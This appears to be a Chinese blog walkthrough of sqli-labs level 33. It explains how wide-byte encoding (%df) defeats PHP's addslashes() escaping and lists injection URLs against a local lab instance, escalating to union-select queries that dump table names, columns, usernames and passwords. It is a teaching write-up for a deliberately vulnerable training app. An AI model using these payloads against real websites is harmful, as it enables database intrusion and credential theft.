zoukankan      html  css  js  c++  java
  • SQL注入之Sqli-labs系列第三十三关(基于宽字符逃逸注入)

    开始挑战第三十三关(Bypass addslashes)

    0x1查看源码

      本关和第三十二关其实是一样的,只是这里用到了addslashes()函数

    function check_addslashes($string)
    {
        $string= addslashes($string);    
        return $string;
    }
    addslashes

    0x2 addslashes讲解

    (1)功能

        函数返回在预定义字符之前添加反斜杠的字符串

    (2)预定义字符

          单引号(')
          双引号(")
          反斜杠()
          NULL
      

      该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串

      默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

    0x3开始注入

      

     其他构造方式同样

    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 oder by 3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,2,3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,database(),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(username,password) from users),3--+

     

  • 相关阅读:
    Rancher之Pipeline JAVA demo
    rancher使用fluentd-pilot收集日志分享
    SFTP 命令列表以备查询
    WPF中异步更新UI元素
    Android 开发环境在 Windows7 下的部署安装
    Android Studio vs. Eclipse ADT Comparison
    JQuery 滚动条插件perfect-scrollbar
    nginx+php 在windows下的简单配置安装
    MySql 管理操作常用命令
    JS事件调试
  • 原文地址:https://www.cnblogs.com/AmoBlogs/p/8723269.html
Copyright © 2011-2022 走看看